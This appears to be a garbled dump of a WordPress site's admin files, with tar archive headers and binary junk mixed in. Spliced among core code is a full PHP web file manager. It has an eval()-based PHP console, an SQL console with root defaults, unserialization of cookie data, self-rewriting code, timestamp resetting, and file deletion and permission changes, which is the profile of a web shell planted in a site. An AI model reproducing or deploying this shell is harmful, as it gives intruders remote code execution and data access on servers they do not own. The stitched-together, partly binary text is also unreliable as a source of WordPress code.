    '', 'SECURE_AUTH_KEY' => '', 'LOGGED_IN_KEY' => '', 'NONCE_KEY' => '', 'AUTH_SALT' => '', 'SECURE_AUTH_SALT' => '', 'LOGGED_IN_SALT' => '', 'NONCE_SALT' => '', ); foreach ( $keys_salts as $c => $v ) { if ( defined( $c ) ) { unset( $keys_salts[ $c ] ); } } if ( ! empty( $keys_salts ) ) { $keys_salts_str = ''; $from_api = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' ); if ( is_wp_error( $from_api ) ) { foreach ( $keys_salts as $c => $v ) { $keys_salts_str .= "\ndefine( '$c', '" . wp_generate_password( 64, true, true ) . "' );"; } } else { $from_api = explode( "\n", wp_remote_retrieve_body( $from_api ) ); foreach ( $keys_salts as $c => $v ) { $keys_salts_str .= "\ndefine( '$c', '" . substr( array_shift( $from_api ), 28, 64 ) . "' );"; } } $num_keys_salts = count( $keys_salts ); ?>

    wp-config.php' ); } else { printf( /* translators: %s: wp-config.php */ __( 'These unique authentication keys are also missing from your %s file.' ), 'wp-config.php' ); } ?>

  2. '; if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) { $web_config_file .= ' '; } $web_config_file .= ' '; echo '
  3. '; printf( /* translators: 1: File name (.htaccess or web.config), 2: File path. */ __( 'Add the following to your %1$s file in %2$s, replacing other WordPress rules:' ), 'web.config', '' . $home_path . '' ); echo '

    '; if ( ! $subdomain_install && WP_CONTENT_DIR !== ABSPATH . 'wp-content' ) { echo '

    ' . __( 'Warning:' ) . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '

    '; } ?>

'; printf( /* translators: %s: Documentation URL. */ __( 'It seems your network is running with Nginx web server. Learn more about further configuration.' ), __( 'https://wordpress.org/support/article/nginx/' ) ); echo '

'; else : // End $is_nginx. Construct an .htaccess file instead: $ms_files_rewriting = ''; if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) { $ms_files_rewriting = "\n# uploaded files\nRewriteRule ^"; $ms_files_rewriting .= $subdir_match . "files/(.+) {$rewrite_base}" . WPINC . "/ms-files.php?file={$subdir_replacement_12} [L]" . "\n"; } $htaccess_file = <<

'; printf( /* translators: 1: File name (.htaccess or web.config), 2: File path. */ __( 'Add the following to your %1$s file in %2$s, replacing other WordPress rules:' ), '.htaccess', '' . $home_path . '' ); echo '

'; if ( ! $subdomain_install && WP_CONTENT_DIR !== ABSPATH . 'wp-content' ) { echo '

' . __( 'Warning:' ) . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '

'; } ?>

<~~囕'Oo~k+|M >r0Mu ?rhtgd2^GE\\DU>hv]LIV&яo_% 30rMC2/6f'߰t:y|~~=ddzM8ig3&^HO1'4Fgq$ѿv^Gq18`~I3m2Y0QOOcn%H': xOc]/qىpx 3s0n'q:  R,)q=),x{N)f6Ait lͲI2DE?kz _D IX YIcঈiOBs6= hGHrge |J`|~50apg,2KY l8pvOIZpElt6-KXQrfɨz`5xro[N_hEa; 5?:ϡƘ_ dÎ NW ky~aK$Gmr}~OkA^DY\LiR az {o< hi6hOOA@mMjlx1m8jw;= Ƀ|3PQ:N cr"N|ajxC<gULx߁ЎAbWc_"o,>CF~!J"| H94#@/O  6!^o:!\Ʃ/RaŻf:[E$AD8LyMGlsi6$_ h6OB UCHJZ̏'y e8&; %g^qzNC] &fKOcCNe(; ׳1Lz(ODz bNp+-}ދ֞<ȶ@]jp?[ ɹ.B@{j̓IYW>_JyW<@S\Q21ڳ \х5ePMuʟº&LyAs/[XkǎjuBZs7v8 &h\/wꃺsp{D6}nMvpooroGl7&LtM Dp8.@Z݃]l{6iU*q㣬XD<}J"&?7qXEA͟v~ VXpjuTK_hMJ]*Vׯi 6^[Xf[wsW’zU,$΋7rZkU/&z=7XkOoWV<6W{Zh7^;;7AMAr3B-(CU/)0Zޔ}^ȶm)nMLZ-7.N r<GG1g itvj  +$F_Fۖ,0˝Lbbe@|qLMje}%y5&,*;;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file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '
'; $disable_first = false; $disable_last = false; $disable_prev = false; $disable_next = false; if ( 1 == $current ) { $disable_first = true; $disable_prev = true; } if ( $total_pages == $current ) { $disable_last = true; $disable_next = true; } if ( $disable_first ) { $page_links[] = ''; } else { $page_links[] = sprintf( "%s", esc_url( remove_query_arg( 'paged', $current_url ) ), __( 'First page' ), '«' ); } if ( $disable_prev ) { $page_links[] = ''; } else { $page_links[] = sprintf( "%s", esc_url( add_query_arg( 'paged', max( 1, $current - 1 ), $current_url ) ), __( 'Previous page' ), '‹' ); } if ( 'bottom' === $which ) { $html_current_page = $current; $total_pages_before = '' . __( 'Current Page' ) . ''; } else { $html_current_page = sprintf( "%s", '', $current, strlen( $total_pages ) ); } $html_total_pages = sprintf( "%s", number_format_i18n( $total_pages ) ); $page_links[] = $total_pages_before . sprintf( /* translators: 1: Current page, 2: Total pages. */ _x( '%1$s of %2$s', 'paging' ), $html_current_page, $html_total_pages ) . $total_pages_after; if ( $disable_next ) { $page_links[] = ''; } else { $page_links[] = sprintf( "%s", esc_url( add_query_arg( 'paged', min( $total_pages, $current + 1 ), $current_url ) ), __( 'Next page' ), '›' ); } if ( $disable_last ) { $page_links[] = ''; } else { $page_links[] = sprintf( "%s", esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ), __( 'Last page' ), '»' ); } $pagination_links_class = 'pagination-links'; if ( ! empty( $infinite_scroll ) ) { $pagination_links_class .= ' hide-if-js'; } $output .= "\n" . implode( "\n", $page_links ) . ''; if ( $total_pages ) { $page_class = $total_pages < 2 ? ' one-page' : ''; } else { $page_class = ' no-pages'; } $this->_pagination = "
$output
"; echo $this->_pagination; } /** * Gets a list of columns. * * The format is: * - `'internal-name' => 'Title'` * * @since 3.1.0 * @abstract * * @return array */ public function get_columns() { die( 'function WP_List_Table::get_columns() must be overridden in a subclass.' ); } /** * Gets a list of sortable columns. * * The format is: * - `'internal-name' => 'orderby'` * - `'internal-name' => array( 'orderby', 'asc' )` - The second element sets the initial sorting order. * - `'internal-name' => array( 'orderby', true )` - The second element makes the initial order descending. * * @since 3.1.0 * * @return array */ protected function get_sortable_columns() { return array(); } /** * Gets the name of the default primary column. * * @since 4.3.0 * * @return string Name of the default primary column, in this case, an empty string. */ protected function get_default_primary_column_name() { $columns = $this->get_columns(); $column = ''; if ( empty( $columns ) ) { return $column; } // We need a primary defined so responsive views show something, // so let's fall back to the first non-checkbox column. foreach ( $columns as $col => $column_name ) { if ( 'cb' === $col ) { continue; } $column = $col; break; } return $column; } /** * Public wrapper for WP_List_Table::get_default_primary_column_name(). * * @since 4.4.0 * * @return string Name of the default primary column. */ public function get_primary_column() { return $this->get_primary_column_name(); } /** * Gets the name of the primary column. * * @since 4.3.0 * * @return string The name of the primary column. */ protected function get_primary_column_name() { $columns = get_column_headers( $this->screen ); $default = $this->get_default_primary_column_name(); // If the primary column doesn't exist, // fall back to the first non-checkbox column. if ( ! isset( $columns[ $default ] ) ) { $default = self::get_default_primary_column_name(); } /** * Filters the name of the primary column for the current list table. * * @since 4.3.0 * * @param string $default Column name default for the specific list table, e.g. 'name'. * @param string $context Screen ID for specific list table, e.g. 'plugins'. */ $column = apply_filters( 'list_table_primary_column', $default, $this->screen->id ); if ( empty( $column ) || ! isset( $columns[ $column ] ) ) { $column = $default; } return $column; } /** * Gets a list of all, hidden, and sortable columns, with filter applied. * * @since 3.1.0 * * @return array */ protected function get_column_info() { // $_column_headers is already set / cached. if ( isset( $this->_column_headers ) && is_array( $this->_column_headers ) ) { /* * Backward compatibility for `$_column_headers` format prior to WordPress 4.3. * * In WordPress 4.3 the primary column name was added as a fourth item in the * column headers property. This ensures the primary column name is included * in plugins setting the property directly in the three item format. */ $column_headers = array( array(), array(), array(), $this->get_primary_column_name() ); foreach ( $this->_column_headers as $key => $value ) { $column_headers[ $key ] = $value; } return $column_headers; } $columns = get_column_headers( $this->screen ); $hidden = get_hidden_columns( $this->screen ); $sortable_columns = $this->get_sortable_columns(); /** * Filters the list table sortable columns for a specific screen. * * The dynamic portion of the hook name, `$this->screen->id`, refers * to the ID of the current screen. * * @since 3.1.0 * * @param array $sortable_columns An array of sortable columns. */ $_sortable = apply_filters( "manage_{$this->screen->id}_sortable_columns", $sortable_columns ); $sortable = array(); foreach ( $_sortable as $id => $data ) { if ( empty( $data ) ) { continue; } $data = (array) $data; if ( ! isset( $data[1] ) ) { $data[1] = false; } $sortable[ $id ] = $data; } $primary = $this->get_primary_column_name(); $this->_column_headers = array( $columns, $hidden, $sortable, $primary ); return $this->_column_headers; } /** * Returns the number of visible columns. * * @since 3.1.0 * * @return int */ public function get_column_count() { list ( $columns, $hidden ) = $this->get_column_info(); $hidden = array_intersect( array_keys( $columns ), array_filter( $hidden ) ); return count( $columns ) - count( $hidden ); } /** * Prints column headers, accounting for hidden and sortable columns. * * @since 3.1.0 * * @param bool $with_id Whether to set the ID attribute or not */ public function print_column_headers( $with_id = true ) { list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info(); $current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $current_url = remove_query_arg( 'paged', $current_url ); if ( isset( $_GET['orderby'] ) ) { $current_orderby = $_GET['orderby']; } else { $current_orderby = ''; } if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) { $current_order = 'desc'; } else { $current_order = 'asc'; } if ( ! empty( $columns['cb'] ) ) { static $cb_counter = 1; $columns['cb'] = '' . ''; $cb_counter++; } foreach ( $columns as $column_key => $column_display_name ) { $class = array( 'manage-column', "column-$column_key" ); if ( in_array( $column_key, $hidden, true ) ) { $class[] = 'hidden'; } if ( 'cb' === $column_key ) { $class[] = 'check-column'; } elseif ( in_array( $column_key, array( 'posts', 'comments', 'links' ), true ) ) { $class[] = 'num'; } if ( $column_key === $primary ) { $class[] = 'column-primary'; } if ( isset( $sortable[ $column_key ] ) ) { list( $orderby, $desc_first ) = $sortable[ $column_key ]; if ( $current_orderby === $orderby ) { $order = 'asc' === $current_order ? 'desc' : 'asc'; $class[] = 'sorted'; $class[] = $current_order; } else { $order = strtolower( $desc_first ); if ( ! in_array( $order, array( 'desc', 'asc' ), true ) ) { $order = $desc_first ? 'desc' : 'asc'; } $class[] = 'sortable'; $class[] = 'desc' === $order ? 'asc' : 'desc'; } $column_display_name = sprintf( '%s', esc_url( add_query_arg( compact( 'orderby', 'order' ), $current_url ) ), $column_display_name ); } $tag = ( 'cb' === $column_key ) ? 'td' : 'th'; $scope = ( 'th' === $tag ) ? 'scope="col"' : ''; $id = $with_id ? "id='$column_key'" : ''; if ( ! empty( $class ) ) { $class = "class='" . implode( ' ', $class ) . "'"; } echo "<$tag $scope $id $class>$column_display_name"; } } /** * Displays the table. * * @since 3.1.0 */ public function display() { $singular = $this->_args['singular']; $this->display_tablenav( 'top' ); $this->screen->render_screen_reader_content( 'heading_list' ); ?> print_column_headers(); ?> > display_rows_or_placeholder(); ?> print_column_headers( false ); ?>
display_tablenav( 'bottom' ); } /** * Gets a list of CSS classes for the WP_List_Table table tag. * * @since 3.1.0 * * @return string[] Array of CSS classes for the table tag. */ protected function get_table_classes() { $mode = get_user_setting( 'posts_list_mode', 'list' ); $mode_class = esc_attr( 'table-view-' . $mode ); return array( 'widefat', 'fixed', 'striped', $mode_class, $this->_args['plural'] ); } /** * Generates the table navigation above or below the table * * @since 3.1.0 * @param string $which */ protected function display_tablenav( $which ) { if ( 'top' === $which ) { wp_nonce_field( 'bulk-' . $this->_args['plural'] ); } ?>
has_items() ) : ?>
bulk_actions( $which ); ?>
extra_tablenav( $which ); $this->pagination( $which ); ?>
has_items() ) { $this->display_rows(); } else { echo ''; $this->no_items(); echo ''; } } /** * Generates the table rows. * * @since 3.1.0 */ public function display_rows() { foreach ( $this->items as $item ) { $this->single_row( $item ); } } /** * Generates content for a single row of the table. * * @since 3.1.0 * * @param object|array $item The current item */ public function single_row( $item ) { echo ''; $this->single_row_columns( $item ); echo ''; } /** * @param object|array $item * @param string $column_name */ protected function column_default( $item, $column_name ) {} /** * @param object|array $item */ protected function column_cb( $item ) {} /** * Generates the columns for a single row of the table. * * @since 3.1.0 * * @param object|array $item The current item. */ protected function single_row_columns( $item ) { list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $classes = "$column_name column-$column_name"; if ( $primary === $column_name ) { $classes .= ' has-row-actions column-primary'; } if ( in_array( $column_name, $hidden, true ) ) { $classes .= ' hidden'; } // Comments column uses HTML in the display name with screen reader text. // Strip tags to get closer to a user-friendly string. $data = 'data-colname="' . esc_attr( wp_strip_all_tags( $column_display_name ) ) . '"'; $attributes = "class='$classes' $data"; if ( 'cb' === $column_name ) { echo ''; echo $this->column_cb( $item ); echo ''; } elseif ( method_exists( $this, '_column_' . $column_name ) ) { echo call_user_func( array( $this, '_column_' . $column_name ), $item, $classes, $data, $primary ); } elseif ( method_exists( $this, 'column_' . $column_name ) ) { echo ""; echo call_user_func( array( $this, 'column_' . $column_name ), $item ); echo $this->handle_row_actions( $item, $column_name, $primary ); echo ''; } else { echo ""; echo $this->column_default( $item, $column_name ); echo $this->handle_row_actions( $item, $column_name, $primary ); echo ''; } } } /** * Generates and display row actions links for the list table. * * @since 4.3.0 * * @param object|array $item The item being acted upon. * @param string $column_name Current column name. * @param string $primary Primary column name. * @return string The row actions HTML, or an empty string * if the current column is not the primary column. */ protected function handle_row_actions( $item, $column_name, $primary ) { return $column_name === $primary ? '' : ''; } /** * Handles an incoming ajax request (called from admin-ajax.php) * * @since 3.1.0 */ public function ajax_response() { $this->prepare_items(); ob_start(); if ( ! empty( $_REQUEST['no_placeholder'] ) ) { $this->display_rows(); } else { $this->display_rows_or_placeholder(); } $rows = ob_get_clean(); $response = array( 'rows' => $rows ); if ( isset( $this->_pagination_args['total_items'] ) ) { $response['total_items_i18n'] = sprintf( /* translators: Number of items. */ _n( '%s item', '%s items', $this->_pagination_args['total_items'] ), number_format_i18n( $this->_pagination_args['total_items'] ) ); } if ( isset( $this->_pagination_args['total_pages'] ) ) { $response['total_pages'] = $this->_pagination_args['total_pages']; $response['total_pages_i18n'] = number_format_i18n( $this->_pagination_args['total_pages'] ); } die( wp_json_encode( $response ) ); } /** * Sends required variables to JavaScript land. * * @since 3.1.0 */ public function _js_vars() { $args = array( 'class' => get_class( $this ), 'screen' => array( 'id' => $this->screen->id, 'base' => $this->screen->base, ), ); printf( "\n", wp_json_encode( $args ) ); } } image-edit.php.tar000064400000115000152377531730010061 0ustar00home/quizenacom/public_html/wp-admin/includes/image-edit.php000064400000111531152377462360020232 0ustar00 400 ? 400 / $big : 1; $backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true ); $can_restore = false; if ( ! empty( $backup_sizes ) && isset( $backup_sizes['full-orig'], $meta['file'] ) ) { $can_restore = wp_basename( $meta['file'] ) !== $backup_sizes['full-orig']['file']; } if ( $msg ) { if ( isset( $msg->error ) ) { $note = ""; } elseif ( isset( $msg->msg ) ) { $note = ""; } } $edit_custom_sizes = false; /** * Filters whether custom sizes are available options for image editing. * * @since 6.0.0 * * @param bool|string[] $edit_custom_sizes True if custom sizes can be edited or array of custom size names. */ $edit_custom_sizes = apply_filters( 'edit_custom_thumbnail_sizes', $edit_custom_sizes ); ?>
get_post_mime_type( $post_id ), 'methods' => array( 'rotate' ), ) ) ) { $note_no_rotate = ''; ?> ' . __( 'Image rotation is not supported by your web host.' ) . '

'; ?>
)" disabled="disabled" class="button button-primary imgedit-submit-btn" value="" />

' . $meta['width'] . ' × ' . $meta['height'] . '' ); ?>

!
, 'scale')" class="button button-primary" value="" />

, 'restore')" class="button button-primary" value="" />



$size ) { if ( array_key_exists( $size, $meta['sizes'] ) ) { if ( 'thumbnail' === $size ) { continue; } ?>
stream( $mime_type ) ) ) { return false; } return true; } else { /* translators: 1: $image, 2: WP_Image_Editor */ _deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) ); /** * Filters the GD image resource to be streamed to the browser. * * @since 2.9.0 * @deprecated 3.5.0 Use {@see 'image_editor_save_pre'} instead. * * @param resource|GdImage $image Image resource to be streamed. * @param int $attachment_id The attachment post ID. */ $image = apply_filters_deprecated( 'image_save_pre', array( $image, $attachment_id ), '3.5.0', 'image_editor_save_pre' ); switch ( $mime_type ) { case 'image/jpeg': header( 'Content-Type: image/jpeg' ); return imagejpeg( $image, null, 90 ); case 'image/png': header( 'Content-Type: image/png' ); return imagepng( $image ); case 'image/gif': header( 'Content-Type: image/gif' ); return imagegif( $image ); case 'image/webp': if ( function_exists( 'imagewebp' ) ) { header( 'Content-Type: image/webp' ); return imagewebp( $image, null, 90 ); } return false; default: return false; } } } /** * Saves image to file. * * @since 2.9.0 * * @param string $filename Name of the file to be saved. * @param WP_Image_Editor $image The image editor instance. * @param string $mime_type The mime type of the image. * @param int $post_id Attachment post ID. * @return bool True on success, false on failure. */ function wp_save_image_file( $filename, $image, $mime_type, $post_id ) { if ( $image instanceof WP_Image_Editor ) { /** This filter is documented in wp-admin/includes/image-edit.php */ $image = apply_filters( 'image_editor_save_pre', $image, $post_id ); /** * Filters whether to 